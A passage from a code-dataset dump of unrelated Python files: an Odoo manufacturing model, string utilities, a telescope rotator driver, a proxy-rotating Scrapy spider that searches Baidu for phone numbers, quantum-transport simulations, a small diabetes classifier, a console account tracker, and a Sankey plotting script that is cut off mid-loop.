store=True)\n\n product_qty = fields.Float('Product Quantity', related=\"operation_point_id.product_qty\", store=True)\n\n category_name = fields.Char('Step Category', related=\"operation_point_id.up_step_id.category_name\", store=True)\n\n operation_id = fields.Many2one('mrp.routing.workcenter', related=\"operation_point_id.operation_id\", store=True)\n\n op_job_id = fields.Many2one('controller.job', string='Job', related=\"operation_id.op_job_id\")\n group_id = fields.Many2one('mrp.routing.group', related=\"operation_id.group_id\", string='Routing Group')\n\n program_id = fields.Many2one('controller.program', related=\"operation_point_id.program_id\", string='程序号')\n\n workcenter_id = fields.Many2one('mrp.workcenter', related=\"operation_id.workcenter_id\", string='Work Center')\n\n masterpc_id = fields.Many2one('maintenance.equipment', string='Work Center Controller(MasterPC)',\n related=\"operation_id.workcenter_id.masterpc_id\")\n\n controller_id = fields.Many2one('maintenance.equipment', string='Tightening Controller', copy=False)\n\n gun_id = fields.Many2one('maintenance.equipment', string='Tightening Tool(Gun/Wrench)', copy=False)\n\n # _sql_constraints = [\n # ('unique_operation_bom_id', 'unique(bom_id,operation_id)', 'Every Bom unique operation'),\n # ]\n\n controller_id_domain = fields.Char(\n compute=\"_compute_gun_id_domain\",\n readonly=True,\n store=False,\n )\n\n gun_id_domain = fields.Char(\n compute=\"_compute_gun_id_domain\",\n readonly=True,\n store=False,\n )\n\n @api.onchange('operation_id')\n def _onchange_operation(self):\n self.ensure_one()\n self.controller_id = False\n self.gun_id = False\n\n @api.onchange('masterpc_id')\n def _onchange_masterpc(self):\n self.ensure_one()\n self.controller_id = False\n\n @api.onchange('controller_id')\n def _onchange_controller(self):\n self.ensure_one()\n self.gun_id = False\n\n @api.multi\n @api.depends('operation_id.workcenter_id')\n def _compute_gun_id_domain(self):\n for rec in self:\n rec.gun_id_domain = json.dumps([('id', 'in', rec.workcenter_id.gun_ids.ids)])\n rec.controller_id_domain = json.dumps([('id', 'in', rec.workcenter_id.controller_ids.ids)])\n\n @api.model\n def create(self, vals):\n line = super(MrpBomLine, self).create(vals)\n vals = {\n 'product_id': line.bom_id.product_id.id,\n 'product_tmpl_id': line.bom_id.product_tmpl_id.id,\n 'operation_id': line.operation_id.id,\n 'bom_line_id': line.id,\n 'picking_type_id':\n self.env['stock.picking.type'].search_read(domain=[('code', '=', 'mrp_operation')], fields=['id'],\n limit=1)[0]['id'],\n 'workcenter_id': line.operation_id.workcenter_id.id,\n 'times': line.product_qty,\n 'test_type': 'measure',\n }\n self.env['sa.quality.point'].sudo().create(vals)\n return line\n\n @api.multi\n def write(self, vals):\n res = super(MrpBomLine, self).write(vals)\n # if 'product_qty' in vals:\n # for line in self:\n # rec = self.env['sa.quality.point'].search([('bom_line_id', '=', line.id)])\n # rec.sudo().write({'times': line.product_qty})\n # return res\n\n @api.multi\n def _push_del_routing_workcenter(self, line, url):\n val = [{\n 'product_type': line.bom_id.product_id.default_code,\n \"id\": line.operation_id.id,\n }]\n try:\n ret = Requests.put(url, data=json.dumps(val), headers={'Content-Type': 'application/json'}, timeout=1)\n if ret.status_code == 204:\n self.env.user.notify_info(u'删除工艺成功')\n return True\n except ConnectionError as e:\n self.env.user.notify_warning(u'下发工艺失败, 错误原因:{0}'.format(e.message))\n return False\n except RequestException as e:\n self.env.user.notify_warning(u'下发工艺失败, 错误原因:{0}'.format(e.message))\n return False\n\n @api.multi\n def unlink(self):\n # quality_points = self.env['sa.quality.point']\n # for line in self:\n # master = line.workcenter_id.masterpc_id if line.workcenter_id else None\n # if not master:\n # raise UserError(u\"未找到工位上的工位控制器\")\n # connections = master.connection_ids.filtered(\n # lambda r: r.protocol == 'http') if master.connection_ids else None\n # if not connections:\n # raise UserError(u\"未找到工位上的工位控制器的连接信息\")\n # url = ['http://{0}:{1}{2}'.format(connect.ip, connect.port, MASTER_DEL_WROKORDERS_API) for connect in\n # connections][0]\n # ret = self._push_del_routing_workcenter(line=line, url=url)\n # if not ret:\n # self.env.user.notify_warning(u\"未删除物料清单行\")\n # for line in self:\n # rec = self.env['sa.quality.point'].search([('bom_line_id', '=', line.id)])\n # quality_points += rec\n # quality_points.sudo().unlink()\n ret = super(MrpBomLine, self).unlink()\n return ret\n","sub_path":"sa_addons/sa_base/models/mrp_bom.py","file_name":"mrp_bom.py","file_ext":"py","file_size_in_byte":12053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"65011198","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#encoding=utf-8\n'''\n@描述:PyCharm\n@作者:hingbox\n@邮箱:hingbox@163.com\n@版本:V1.0\n@文件名称 : utils.py\n@创建时间:2018/8/23 19:43\n'''\nclass Utils(object):\n\n '''\n 这个方法是用来 对访问地址补0\n '''\n def address_zero_fill(self, i):\n if (i>0 and i<10):\n return '00000000'\n elif(i>9 and i<100):\n return'0000000'\n elif (i>99 and i<1000):\n return '000000'\n elif (i>999 and i<10000):\n return '00000'\n elif (i>9999 and i<100000):\n return '0000'\n else:\n return ''\n\n '''\n 处理日期 如果日期中 带有年月日 将年月日 替换为'-'\n '''\n def date_replace_line(self, value):\n if value is not None:\n return value.replace('年', '-').replace('月', '-').replace('日', '-')\n else:\n return None\n\n '''\n 处理日期 如果日期中 带有年月日 将年月日 替换为'-'\n '''\n def date_replace_lines(self, value):\n if value is not None:\n return value.replace('年', '-').replace('月', '-').replace('日', '')\n else:\n return None\n\n '''\n 处理日期 如果日期中 带有'/',替换为'-'\n '''\n def sprit_replace_line(self, value):\n if value is not None:\n return value.replace('/', '-')\n else:\n return None\n\n '''\n 去掉字符串中空格,换行\n '''\n def remove_tnr(self,value):\n if value is not None:\n return value.replace('\\r','').replace('\\t','').replace('\\n','')\n else:\n return None\n\n '''\n 将list转换为str\n '''\n def list_to_str(self,value):\n if value is not None:\n return \"\".join(value)\n else:\n return None\n\n '''\n 去掉string中空格\n '''\n def str_to_strip(value):\n if value is not None:\n return value.strip()\n else:\n return None\n\n '''\n 字符串中特定文字 替换为空\n '''\n def replace_str_null(self, value, re_value):\n if value is not None:\n return value.replace(re_value, '')\n else:\n return None\n '''\n 将'../' 替换为'/'\n '''\n def replace_line_line(self, value, re_value, ls_value):\n if value is not None:\n return value.replace(re_value, ls_value)\n else:\n return None\n\n '''\n 字符串去掉空格,去掉换行,去掉回车,去掉\n '''\n def str_strip_remove_tnr(self, value):\n if value is not None:\n value = value.strip()\n return value.replace('\\r','').replace('\\t','').replace('\\n','')\n else:\n return None","sub_path":"tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"277210886","text":"\nimport win32com.client\nimport time\nfrom global_yard import g_dev\n\nclass Rotator:\n\n def __init__(self, driver: str, name: str, config: dict):\n self.name = name\n g_dev['rot'] = self\n win32com.client.pythoncom.CoInitialize()\n self.rotator = win32com.client.Dispatch(driver)\n time.sleep(3)\n self.rotator.Connected = True\n self.rotator_message = '-'\n print(\"Rotator connected, at: \", round(self.rotator.TargetPosition, 4))\n #print(self.rotator.Description)\n\n def get_status(self):\n '''\n The position is expressed as an angle from 0 up to but not including\n 360 degrees, counter-clockwise against the sky. This is the standard\n definition of Position Angle. However, the rotator does not need to\n (and in general will not) report the true Equatorial Position Angle,\n as the attached imager may not be precisely aligned with the rotator's\n indexing. It is up to the client to determine any offset between\n mechanical rotator position angle and the true Equatorial Position\n Angle of the imager, and compensate for any difference.\n '''\n #NB we had an exception here with Target position. mORE THAN ONE OF THESE! 220210709\n try:\n status = {\n \"position_angle\": round(self.rotator.TargetPosition, 4),\n \"rotator_moving\": self.rotator.IsMoving,\n }\n except:\n try:\n status = {\n \"position_angle\": round(self.rotator.TargetPosition, 4),\n \"rotator_moving\": self.rotator.IsMoving,\n } \n except:\n status = {\n \"position_angle\": round(0.0, 4),\n \"rotator_moving\": False,\n } \n \n #print(self.rotator.TargetPosition)\n return status\n\n def get_quick_status(self, quick): #Added the kludge fix 20120709\n quick.append(time.time())\n try:\n quick.append(self.rotator.Position)\n quick.append(self.rotator.IsMoving)\n except:\n quick.append(0.0)\n quick.append(False) \n return quick\n\n def get_average_status(self, pre, post):\n average = []\n average.append(round((pre[0] + post[0])/2, 3))\n average.append(round((pre[1] + post[1])/2, 3))\n if pre[2] or post[2]:\n average.append(True)\n else:\n average.append(False)\n return average\n\n def parse_command(self, command):\n req = command['required_params']\n opt = command['optional_params']\n action = command['action']\n\n if action == \"move_relative\":\n self.move_relative_command(req, opt)\n elif action == \"move_absolute\":\n self.move_absolute_command(req, opt)\n elif action == \"stop\":\n self.stop_command(req, opt)\n elif action == \"home\":\n self.home_command(req, opt)\n else:\n print(f\"Command <{action}> not recognized.\")\n\n\n ###############################\n # Rotator Commands #\n ###############################\n\n def move_relative_command(self, req: dict, opt: dict):\n ''' set the rotators position by moving relative to current position '''\n print(f\"rotator cmd: move_relative\")\n position = float(req['position'])\n self.rotator.Move(position)\n\n def move_absolute_command(self, req: dict, opt: dict):\n ''' set the rotator position by moving to an absolute position '''\n print(f\"rotator cmd: move_absolute\")\n position = float(req['position'])\n self.rotator.MoveAbsolute(position)\n\n def stop_command(self, req: dict, opt: dict):\n ''' stop rotator movement immediately '''\n print(f\"rotator cmd: stop\")\n self.rotator.Halt()\n\n def home_command(self, req: dict, opt: dict):\n ''' set the rotator to the home position'''\n print(f\"rotator cmd: home\")\n pass","sub_path":"devices/rotator.py","file_name":"rotator.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241178904","text":"# -*- coding: utf-8 -*-\nfrom scrapy.spiders import Spider\nimport scrapy\nfrom urllib import quote\nfrom appspider.items import AppspiderItem\nimport sys\nfrom bs4 import BeautifulSoup\nimport random\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nclass BlogSpider(Spider):\n name = \"AppSpider\"\n proxy_pool = [\n \"120.78.215.151:808\",\n \"221.7.255.168:80\",\n \"221.7.255.167:80\",\n \"116.196.99.214:9999\",\n \"58.87.98.150:1080\",\n \"118.24.81.122:9999\",\n \"120.131.9.254:1080\",\n \"118.190.94.254:9001\",\n \"117.131.75.134:80\",\n \"49.51.70.42:1080\",\n \"58.210.136.83:30498\",\n \"221.7.255.168:8080\",\n \"47.105.43.179:1080\",\n \"218.60.8.99:3129\",\n \"118.24.99.18:9999\",\n \"47.106.92.90:8081\",\n \"122.112.229.214:1080\",\n \"111.73.45.15:808\",\n \"116.196.66.197:9999\",\n \"114.242.143.21:46884\",\n \"111.230.183.90:8000\",\n \"113.200.56.13:8010\",\n \"119.27.177.169:80\",\n \"210.14.64.248:80\",\n \"118.24.98.96:9999\",\n \"60.205.142.252:8123\",\n \"221.7.255.167:8080\",\n \"120.83.49.90:9000\",\n \"49.51.68.122:1080\",\n \"49.51.193.134:1080\",\n \"171.221.239.11:808\",\n \"45.40.193.107:9999\",\n \"223.203.0.14:8000\",\n \"222.212.143.109:80\",\n \"45.40.206.190:9999\",\n \"218.60.8.98:3129\",\n \"183.15.172.23:61430\",\n \"221.229.252.98:9797\",\n \"202.101.13.68:80\",\n \"140.143.96.216:80\",\n \"111.231.218.216:9999\",\n \"221.6.201.18:9999\",\n \"58.87.68.189:1080\",\n \"120.55.60.148:808\",\n \"49.51.195.24:1080\",\n \"49.51.193.128:1080\",\n \"117.141.215.3:1080\",\n \"114.67.239.132:9999\",\n \"139.224.24.26:8888\",\n \"140.143.6.16:1080\",\n \"218.60.8.83:3129\"\n]\n #allowed_domains = [\"www.wandoujia.com\"]\n #start_urls = ['http://www.wandoujia.com/apps/com.ecitic.bank.mobile']\n def __init__(self):\n self.apps_path = 'phone_num.csv'\n\n\n def start_requests(self):\n file = open(self.apps_path, 'r')\n lines = file.readlines()\n #url_request = 'http://www.baidu.com/s?wd=ip%E6%9F%A5%E8%AF%A2'\n for line in lines:\n #values = line.split('\\t')\n kw = line.strip()\n value = 'http://www.baidu.com/s?wd=%s'% line.strip()\n proxy = 'http://{}'.format(random.choice(self.proxy_pool))\n print(proxy)\n yield scrapy.Request(url=value,dont_filter = True,callback=self.parse, errback=self.make_new_request,\n meta={'kw': kw ,'proxy':proxy})\n\n def make_new_request(self, response):\n kw = response.request.meta['kw']\n proxy = 'http://{}'.format(random.choice(self.proxy_pool))\n print(\"retry proxy %s\" % proxy)\n return scrapy.Request(url=response.request.url, callback=self.parse, errback=self.make_new_request, dont_filter=True,meta={'kw': kw ,'proxy':proxy})\n\n def parse(self, response):\n item = AppspiderItem()\n #print(response.body)\n soup = BeautifulSoup(response.body,'lxml')\n #print(response.body)\n #title = response.xpath('//span[@class=\"title\"]/text()').extract_first()\n #prefer = response.xpath('//span[@class=\"item love\"]/i/text()').extract_first()\n #comment = response.xpath('//a[@class=\"item last comment-open\"]/i/text()').extract_first()\n #tags = response.xpath('//div[@class=\"module mod-ip\"]/center/text()').extract()\n string_tag = \"\"\n divs = soup.find_all(class_ = 'op_fraudphone_word')\n for div in divs:\n joke = div.get_text().strip()\n string_tag = string_tag +\",\" +joke;\n\n #for tag in tags:\n #string_tag = string_tag +\",\" +tag;\n #print(string_tag)\n #version = response.xpath('//dl[@class=\"infos-list\"]/dd[5]/text()').extract_first()\n #company = response.xpath('//span[@class=\"dev-sites\"]/text()').extract_first()\n #time_update = response.xpath('//time[@id=\"baidu_time\"]/text()').extract_first()\n '''\n #print(tags)\n #prefer = response.xpath('//span[@class=\"item love\"]/i/text()').extract_first()\n #tags = response.xpath('//span[@class=\"tag-box\"]/a/text()').extract()\n #version = response.xpath('//dl[@class=\"infos-list\"]/dd[5]/text()').extract_first()\n #print(version)\n company = response.xpath('//span[@class=\"dev-sites\"]/text()').extract_first()\n print(company)\n #print(response)\n #print(response.meta['kw'])\n '''\n #desc = response.xpath('//div[@class=\"con\"]/text()').extract_first()\n #download_num = response.xpath('//i[@itemprop=\"interactionCount\"]/text()').extract_first()\n\n #appnames = response.meta['kw'].split(' ') ;\n\n #item['name'] = title;\n #item['prefer'] = prefer\n item['tag'] = string_tag\n #item['version'] = version\n #item['company'] = company\n item['kw'] = response.meta['kw'];\n #item['time_update'] = time_update\n #item['comment'] = comment\n #item['kw'] = appnames[0];\n #item['appname'] = appnames[1];\n #item['desc'] = desc;\n #item['download_num'] = download_num;\n yield item\n","sub_path":"spider/appspider/spiders/blog_spider.py","file_name":"blog_spider.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"242823248","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 6 16:00:42 2020\n\n@author: user\n\"\"\"\n\n#import stru_QSH as dg\nimport stru_2d_normal_left_right_lead as dnlr\nimport numpy as np\nimport kwant\nfrom joblib import Parallel, delayed\nimport scipy.io as sio\nimport os.path\nfrom time import time\n#from numpy import linalg as LA\n#from matplotlib import pyplot\n\nt_ini=time()\n\nwidth=10\nlength=30\nwidth_left=10\nwidth_right=width_left\ndis=2.2\nsalt='1'\n\ndf=1e-9\n\nsys=dnlr.make_system_all(length,width,dis,salt,width_left,width_right)\nsys=sys.finalized()\n#wf=kwant.wave_function(sys,0.3495,check_hermiticity=False)(0)\n#kwant.plotter.map(sys, (abs(wf[0])),num_lead_cells=5,fig_size=(15, 10),colorbar=False)\n#ld=sum(kwant.ldos(sys,0.42))\nc=5\nen1=2-2*np.cos(c*np.pi/(2*width_left)) # lower\nen2=2-2*np.cos((c+1)*np.pi/(2*width_left)) # higher\n#tm=dnlr.tranmission_DIY(sys,0.32)\nnum_freq=256\nens=np.linspace(0.6,0.8,num_freq) # ens \n\n#tt=dnlr.t_mode_DIY(sys,0.5,df,1,0)\n#\nha=sys.hamiltonian_submatrix() # h_in\n## fisher lee\n#en=0.75\n#G = kwant.greens_function(sys, en)\n#Gr=G.submatrix(1,0) # r indicates retarded\n#G.submatrix(1,0)-G.submatrix(0,1).T\n#Ga=np.conj((Gr).T) # a indicates advanced\n#\nflead0 = sys.leads[0]\nflead1 = sys.leads[1]\n#Sigma_Lr =flead0.selfenergy(en) #r indicates retarded\n#Sigma_La =np.conj((Sigma_Lr).T) #a indicates advanced\n#\n#Sigma_Rr =flead1.selfenergy(en)\n#Sigma_Ra =np.conj((Sigma_Rr).T)\n#\n#Gamma_in =1j*(Sigma_Lr-Sigma_La)\n#Gamma_out=1j*(Sigma_Rr-Sigma_Ra)\n#\n#T=np.trace(Gr @ Gamma_in @ Ga @ Gamma_out)\n#T_kwant=kwant.smatrix(sys,en).transmission(1,0)\n#\n#n=Gamma_in.shape[0]\n#m=ha.shape[0]\n#coupling = np.zeros(ha.shape, dtype=np.complex128)\n#coupling[0:n,0:n]=coupling[0:n,0:n]+Sigma_Lr\n#coupling[m-n:m,m-n:m]=coupling[m-n:m,m-n:m]+Sigma_Rr\n#Heff=ha+coupling\n#I = np.eye(ha.shape[0], ha.shape[1], dtype=np.complex128)*en\n#g_hinv=np.linalg.inv(I-Heff)\n#G10=g_hinv[m-n:m,0:n] # same as kwant result\n#\n#w,v=LA.eig(Heff)\n#\n#tp=g_hinv*np.linalg.det(I-Heff)\n#tpp=np.trace(Gr)*np.linalg.det(I-Heff)\n#a=I-Heff\n##completeName = os.path.join('D:/tp/0.mat') #7_tracet\n##sio.savemat(completeName,{'a':a},oned_as='row') \n#\n#Sigma_Lr+Sigma_La\n#\n#prop_modes, _ = flead0.modes(en)\n#v=prop_modes.velocities#*2*np.pi # 0: left 1:right\n#n=v.size//2 # number of channel\n#v_matrix_sqrt= np.diag([v[i]**0.5 for i in range(n,2*n)])\n#wf_lead=prop_modes.wave_functions[:,n:2*n]\n#wf_lead_n=np.sum(np.abs(wf_lead)**2,0)**0.5\n#wf_lead_unit=wf_lead/wf_lead_n\n#tppp=np.conj(wf_lead_unit).T@wf_lead_unit\n##t_s=1j*v_matrix_sqrt @ (wf_lead_unit).T @ Gr @ np.conj(wf_lead_unit) @ v_matrix_sqrt \n\n\n\n\n#gf=kwant.greens_function(sys,.38).submatrix(1,0)\ndef gf(cishu):\n gf=kwant.greens_function(sys,ens[cishu]).submatrix(1,0)\n gf1=kwant.greens_function(sys,ens[cishu]+df).submatrix(1,0)\n myDict = {'en':ens,'gf':gf,'gf1':gf1} \n completeName = os.path.join('E:/channel time/30/'+str(cishu)+'.mat') #7_tracet\n sio.savemat(completeName,myDict,oned_as='row') \n#Parallel(n_jobs=5)(delayed(gf)(cishu) for cishu in np.arange(0,num_freq,1))\n\ndef channeltime(cishu):\n t=dnlr.tranmission_DIY(sys,ens[cishu])\n t1=dnlr.tranmission_DIY(sys,ens[cishu]+df)\n return np.array([np.trace(t),np.trace(t1)])\n\n#trace_t=Parallel(n_jobs=5)(delayed(channeltime)(cishu) for cishu in np.arange(0,num_freq,1))\n#\ndef DOS(cishu): # ONLY FOR UNITARY SYSTEM\n return sum(kwant.ldos(sys,ens[cishu]))\n\ndef invG(cishu):\n en=ens[cishu]\n Sigma_Lr =flead0.selfenergy(en) #r indicates retarded\n# Sigma_La =np.conj((Sigma_Lr).T) #a indicates advanced\n \n Sigma_Rr =flead1.selfenergy(en)\n# Sigma_Ra =np.conj((Sigma_Rr).T)\n \n# Gamma_in =1j*(Sigma_Lr-Sigma_La)\n# Gamma_out=1j*(Sigma_Rr-Sigma_Ra)\n\n n=Sigma_Lr.shape[0]\n m=ha.shape[0]\n coupling = np.zeros(ha.shape, dtype=np.complex128)\n coupling[0:n,0:n]=coupling[0:n,0:n]+Sigma_Lr\n coupling[m-n:m,m-n:m]=coupling[m-n:m,m-n:m]+Sigma_Rr\n Heff=ha+coupling\n I = np.eye(ha.shape[0], ha.shape[1], dtype=np.complex128)*en\n g_hinv=np.linalg.inv(I-Heff)\n dos=-sum(np.diag(g_hinv).imag/np.pi)\n return dos\n#dos_invG=Parallel(n_jobs=3)(delayed(invG)(cishu) for cishu in np.arange(0,num_freq,1))\n\ndef inte_wf(cishu): # =DOS when no loss\n return (np.sum(np.abs(kwant.wave_function(sys,ens[cishu],check_hermiticity=False)(0))**2)+\\\n np.sum(np.abs(kwant.wave_function(sys,ens[cishu],check_hermiticity=False)(1))**2))/2/np.pi\n#inteI=Parallel(n_jobs=5)(delayed(inte_wf)(cishu) for cishu in np.arange(0,num_freq,1))\ndef eigen(cishu):\n return np.real(sum(dnlr.t_mode_DIY(sys,ens[cishu],df,1,0)))\n#eigtime=Parallel(n_jobs=5)(delayed(eigen)(cishu) for cishu in np.arange(0,num_freq,1))\n\ndef dettime(cishu):\n t1=np.linalg.det(dnlr.tranmission_DIY(sys,ens[cishu]))\n t2=np.linalg.det(dnlr.tranmission_DIY(sys,ens[cishu]+df))\n return np.array([t1,t2])\n#dett=Parallel(n_jobs=5)(delayed(dettime)(cishu) for cishu in np.arange(0,num_freq,1))\n#\n#myDict = {'en':ens,'dos_invG':dos_invG,'dett':dett,'df':df} #,'ld':ld ,'dos':dos 'wf':wf, 'trace_t':trace_t\n#completeName = os.path.join('E:/channel time/63_dos_dett_0.001.mat') #7_tracet\n#sio.savemat(completeName,myDict,oned_as='row') \n\ndef spec(cishu):\n# t=dnlr.tranmission_DIY(sys,ens[cishu])\n t=kwant.smatrix(sys,ens[cishu]).submatrix(1,0)\n myDict = {'t':t} \n completeName = os.path.join('E:/channel time/63/'+str(cishu)+'.mat') #7_tracet\n sio.savemat(completeName,myDict,oned_as='row') \n#Parallel(n_jobs=5)(delayed(spec)(cishu) for cishu in np.arange(0,num_freq,1))\n\n###sys.pos(sys.lead_interfaces[1][0])\n\n#### plot field profile\nt=kwant.smatrix(sys,0.73509286).submatrix(1,0)\nwf=kwant.wave_function(sys,0.73509286,check_hermiticity=False)(0)\ncoord=np.array([sys.pos(i) for i in range(wf.shape[1])])\nmyDict = {'wf':wf,'coord':coord,'t':t} \ncompleteName = os.path.join('C:/Users/ykang/Dropbox/taut/Q1Dzero_0.73509286.mat')\nsio.savemat(completeName,myDict,oned_as='row') \n\nelapsed=time()-t_ini","sub_path":"src/100818/042719/spec_2d_normal_left_right_lead_tracetime.py","file_name":"spec_2d_normal_left_right_lead_tracetime.py","file_ext":"py","file_size_in_byte":5951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"110205733","text":"import pandas as pd#importing csv file\n\n\n#reading csv file in pandas module\ndf = pd.read_csv(\"diabetes.csv\")\n\n\n\n\n#displaying data of csv file\nprint(df.head())\n\ny = df[\"Dibetes\"]\nprint(y)\n\n\n\n#converting text to numeric data\nfrom sklearn.preprocessing import LabelEncoder\nle_FU = LabelEncoder()\n\n\n\n#creating empty data frame\nx = pd.DataFrame(columns = [\"FS\", \"FU\"])\nprint(x)\n\n##now will add the Data\nx[\"FS\"] = df[\"Fasting sugar\"]\nx[\"FU\"] = le_FU.fit_transform(df[\"Frequent Unination\"])\n\n\nprint(\"now data will numeric\",x)\n\n\n##use random algorithium using randimforest \n\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier = RandomForestClassifier()\nclassifier.fit(x,y)## we have created succesfully our model\n\n#check for user diabetes h ki nhi h\nprint(classifier.predict([[115,0]]))\n\n\n#### here i am importing pickle module to use others file\nimport pickle\nwith open(\"my_model\", \"wb\") as f : ## its opening file if not exist then it \n pickle.dump(classifier,f)\n\n\n\n##open model_file\nwith open(\"my_model\", \"rb\") as f :\n model = pickle.load(f)\n\n print(model.predict([[150,1]]))\n","sub_path":"csv_file.py","file_name":"csv_file.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282005946","text":"acc_data_file = 'acc_data.txt'\norders_data_file='order_data.txt'\nimport os\n\ndef get_acc_data():\n if not acc_data_file in os.listdir():\n f=open(acc_data_file, 'x')\n f.write('0')\n f.close\n with open(acc_data_file, 'r') as f:\n account=f.read()\n return float(account)\n\ndef ch_acc_data(acc_sum):\n with open(acc_data_file, 'w') as f:\n f.write(str(acc_sum))\n\ndef add_order(spend, buy_target):\n if not orders_data_file in os.listdir():\n f=open(orders_data_file, 'x', encoding='utf8')\n f.close\n with open(orders_data_file, 'a', encoding='utf8') as f:\n f.write(f'{buy_target},{spend} \\n')\n\ndef all_orders():\n with open(orders_data_file, 'r', encoding='utf8') as f:\n for line in f:\n z=line.split(',')\n print(f'Покупка: {z[0]}, на сумму: {z[1]}', end='')\n\n\n\n\ndef play_account_use():\n\n def action(num_of_action):\n account = get_acc_data() # Прочитали начальное состояние счета\n if num_of_action == 1:\n acc_add = float(input(f'Введите сумму пополнения счета: '))\n account += acc_add\n\n if num_of_action == 2:\n spend = float(input(f'Введите сумму покупки: '))\n if spend > account:\n print('Денег не хватает')\n else:\n buy_target = input(f'Введите название товара: ')\n account -= spend\n add_order(spend, buy_target)\n\n if num_of_action == 3:\n all_orders()\n\n\n ch_acc_data(account) # Занесли состояние счет после операции\n\n\n while True:\n print('1. пополнение счета')\n print('2. покупка')\n print('3. история покупок')\n print('4. выход')\n\n choice = int(input('Выберите пункт меню по работе с банковским счетом: '))\n\n if choice in range(4):\n action(choice)\n\n elif choice == 4:\n print('Выход')\n break\n\n else:\n print('Неверный пункт меню')","sub_path":"account_usage.py","file_name":"account_usage.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"455859854","text":"import numpy as np\r\nimport common\r\n\r\nDIMS = (11, 11)\r\neta_max = 0.02 # the maximum value of eta_0 and eta_d\r\n\r\n\r\n#generating seeds\r\nnp.random.seed(1234)\r\nseeds = np.random.choice(1000000, DIMS, replace=False) # using six digits number as seeds (eh eh eh... =3)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n for i, lambda_ in enumerate(np.logspace(-1,1,DIMS[0])):\r\n for j, T_bar in enumerate(np.logspace(-1,1,DIMS[1])):\r\n #calculating N\r\n N_min = int(1/(eta_max * T_bar * min(1, lambda_))) + 1 # the min value N can take\r\n if N_min < 2: # the algorithm work only for N > 2\r\n print(\"WARNING: N is going under 2. Impossible to guarantee uniform lattice spacing\")\r\n N = 2\r\n else:\r\n N = N_min\r\n T_bar = 1/(eta_max * N_min * min(1, lambda_)) #thanks to this the lattice spacing will be constant at eta_max\r\n\r\n print(seeds[i,j], N, T_bar, lambda_, 1/(N*T_bar), 1/(N*T_bar*lambda_), sep=\"\\t\")\r\n\r\n with open(f\"Sims/Serie/{i}_{j}.ini\", \"w\") as out:\r\n out.write(\r\n common.BASE_SETUP.format(\r\n T_bar=T_bar,\r\n lambda_=lambda_,\r\n\r\n start_path=\"RIGTH\", # is simmetrized later\r\n SEED=seeds[i, j],\r\n N=N,\r\n repeats=10,\r\n delta=0.08,\r\n samples=50,\r\n samples_spacing=100\r\n )\r\n )","sub_path":"create_serie.py","file_name":"create_serie.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"540934424","text":"import math\nimport plotly.graph_objects as go\nimport pandas as pd\nimport plotly\nfrom data_parser import dtypes\n\n\ndef load_dataframe(name):\n return pd.read_csv(name, dtype=dtypes)\n\n \ndef save_sanky_daigram_for_errors_and_comments(name, dataset, normalise, medain, encoding=\"svg\"):\n df = dataset.groupby(['config', 'yaml_encoding_error']).size().unstack(fill_value=0)\n df_configs = dataset[dataset['yaml_encoding_error'].isnull()][\"config\"].value_counts()\n print(df_configs)\n print(df.index)\n \n count = len(df.index)-1\n print(f\"the count is: {count}\")\n # df_comments = dataset[dataset[\"yaml\"] & (dataset[\"yaml_encoding_error\"].isnull())]\n\n # labels is errors, config, valid config, comments, blank lines, code\n labels = list(df.keys())\n for i in df.index:\n labels.append(i) \n print(labels[-1])\n\n for i in df.index:\n labels.append(\"{} valid\".format(i))\n print(labels[-1])\n\n labels.append(\"comments\")\n labels.append(\"blank lines\")\n labels.append(\"code\")\n\n sources = []\n targets = []\n values = []\n for k in range(len(df.keys())):\n for v in range(len(df[df.keys()[k]])):\n if df[df.keys()[k]][v] != 0:\n sources.append(count + v)\n targets.append(k)\n values.append(df[df.keys()[k]][v])\n print(df[df.keys()[k]][v])\n\n for i in range(len(df.index)):\n sources.append(count + i)\n targets.append((count * 2) + i)\n values.append(df_configs[df.index[i]])\n\n comments = []\n blank = []\n code = []\n for i in range(len(df.index)):\n config_comments = dataset[dataset[\"yaml\"] & (dataset[\"yaml_encoding_error\"].isnull())][dataset[\"config\"] == df.index[i]]\n # print(\"{}{}\".format(config_comments[dataset[\"comments\"].notnull()][\"comments\"].mean(), df.index[i]))\n # print(\"{}{}\".format(config_comments[dataset[\"blank_lines\"].notnull()][\"blank_lines\"].mean(), df.index[i]))\n if medain:\n comments.append(config_comments[dataset[\"comments\"].notnull()][\"comments\"].median())\n blank.append(config_comments[dataset[\"blank_lines\"].notnull()][\"blank_lines\"].median())\n code.append(config_comments[dataset[\"code\"].notnull()][\"code\"].median())\n else:\n comments.append(config_comments[dataset[\"comments\"].notnull()][\"comments\"].mean())\n blank.append(config_comments[dataset[\"blank_lines\"].notnull()][\"blank_lines\"].mean())\n code.append(config_comments[dataset[\"code\"].notnull()][\"code\"].mean())\n\n\n for i in range(len(comments)):\n total = comments[i] + blank[i] + code[i]\n if not normalise:\n comments[i] = (comments[i] / total) * df_configs[df.index[i]]\n blank[i] = (blank[i] / total) * df_configs[df.index[i]]\n code[i] = (code[i] / total) * df_configs[df.index[i]]\n else:\n comments[i] = (comments[i] / total) * math.log2(df_configs[df.index[i]])\n blank[i] = (blank[i] / total) * math.log2(df_configs[df.index[i]])\n code[i] = (code[i] / total) * math.log2(df_configs[df.index[i]])\n\n for i in 